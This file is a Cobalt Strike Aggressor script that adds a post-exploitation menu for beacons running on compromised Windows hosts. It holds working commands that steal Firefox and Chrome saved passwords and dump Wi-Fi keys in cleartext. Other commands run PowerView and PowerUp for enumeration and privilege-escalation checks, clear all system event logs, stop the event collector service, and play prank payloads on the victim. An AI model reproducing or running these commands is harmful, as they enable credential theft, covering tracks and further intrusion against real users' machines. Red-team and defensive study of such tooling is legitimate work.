Und3rf10w-Aggressor-scripts/postExploit/postExploit.cna

# Adds menu driven support for some post exploit stuff

# build the powershell artifact
sub build_powershell_artifact {
	$shellcode = artifact("$1", "powershell");
	return $shellcode;
}

popup beacon_bottom {
	menu "Post-Exploitation" {
		menu "Enumeration" {
			menu "PowerView"{
				item "List accessible shares"{
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import PowerView.ps1");
						bpowershell_import($1, script_resource("scripts/PowerView.ps1"));
						binput($1, "powershell Invoke-ShareFinder -CheckShareAccess");
						bpowershell($1, "Invoke-ShareFinder -CheckShareAccess");
					}
				}
			}
			item "List WLAN Profiles"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "shell netsh wlan show profiles name=\"*\" key=clear");
					bshell($1, "netsh wlan show profiles name=\"*\" key=clear");
				}
			}
			item "Is User Local Admin?"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell Is-UserLocalAdmin")
					bpowershell($1, "([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] \"Administrator\")")
				}
			}
			item "ipinfo.io Check"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"http://ipinfo.io\")");
					bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"http://ipinfo.io\")");
				}
			}
		}
		menu "Get Credentials"{
			item "Get Firefox Passwords"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Get-FirefoxPasswords.ps1");
					# read in the powershell script
					$handle = openf(script_resource("scripts/Get-FirefoxPasswords.ps1"));
					$firefox_script = readb($handle, -1);
					closef($handle);
					# host firefox script on beacon
					$cmd = beacon_host_script($1, $firefox_script);
					binput($bid, "powershell Get-FirefoxPasswords");
					sleep(5 * 1000);
					# execute in-memory hosted script
					bpowerpick($1, "$cmd");
				}
			}
			item "Get Chrome Passwords"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Get-ChromePasswords.ps1");
					# read in the powershell script
					$handle = openf(script_resource("scripts/Get-ChromePasswords.ps1"));
					$chrome_script = readb($handle, -1);
					closef($handle);
					$cmd = beacon_host_script($bid, $chrome_script);
					binput($bid, "powerpick Get-ChromePasswords");
					sleep(50 * 1000);
					# execute in-memory hosted script
					bpowerpick($bid, "$cmd");
				}
			}
		}
		menu "Privilege Escalation"{
			item "All PowerUp checks"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import PowerUp.ps1");
					bpowershell_import($1, script_resource("scripts/PowerUp.ps1"));
					binput($1, "powershell Invoke-AllChecks");
					bpowershell($1, "Invoke-AllChecks");
				}
			}
		}
		menu "Anti-forensics" {
			item "Clear System Event Logs (psh)"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
					bpowershell($1, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
				}
			}
			item "Stop Windows Event Collector svc"{
				local('$bid');
				foreach $bid ($1){
					binput($1, "sc stop wecsvc");
					bshell($1, "sc stop wecsvc");
				}
			}
			item "Check VM" {
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Check-VM.ps1");
					bpowershell_import($1, script_resource("scripts/Check-VM.ps1"));
					binput($1, "powershell Check-VM");
					bpowershell($1, "Check-VM");
				}
			}
		}
		menu "Annoy" {
			item "Open Hidden Internet Explorer" {
				local('$bid');
				foreach $bid ($1){
					binput($1, "powershell-import Open-HiddenInternetExplorer.ps1");
					bpowershell_import($1, script_resource("scripts/Open-HiddenInternetExplorer.ps1"));
					prompt_text("URL to open?", "https://www.youtube.com/watch?v=wZZ7oFKsKzY", {
						$videoURL = $1;
						return $videoURL;
					});
					binput($1, "powershell Open-HiddenInternetExplorer $videoURL ");
					bpowershell($1, "Open-HiddenInternetExplorer $videoURL ");
				}
			}
			# Credit goes to SadProcessor for these scripts!
			menu "Play chiptunes" {
				item "Play Imperial March" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-ImperialMarch.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-ImperialMarch.ps1"));
						binput($1, "powershell Play-ImperialMarch");
						bpowershell($1, "Play-ImperialMarch");
					}
				}
				item "Play Rickroll" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-RickAstley.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-RickAstley.ps1"));
						binput($1, "powershell Play-RickAstely");
						bpowershell($1, "Play-RickAstely");
					}
				}
				item "Play Tetris Theme" {
					local('$bid');
					foreach $bid ($1){
						binput($1, "powershell-import Play-TetrisTune.ps1");
						bpowershell_import($1, script_resource("scripts/annoySongs/Play-TetrisTune.ps1"));
						binput($1, "powershell Play-TetrisTune");
						bpowershell($1, "Play-TetrisTune");
					}
				}
			}
		}
		menu "Debug" {
			item "HTTP Egress" {
				local('$bid');
				foreach $bid ($1){
					prompt_text("URL to assess?", "http://google.com", {
						$httpDebugURL = $1;
						return $httpDebugURL;
					});
					sleep(1);
					binput($1, "powershell (New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")");
					bpowershell($1, "(New-Object System.Net.WebClient).DownloadString(\"$httpDebugURL\")");
				}
			}
		}
	}
}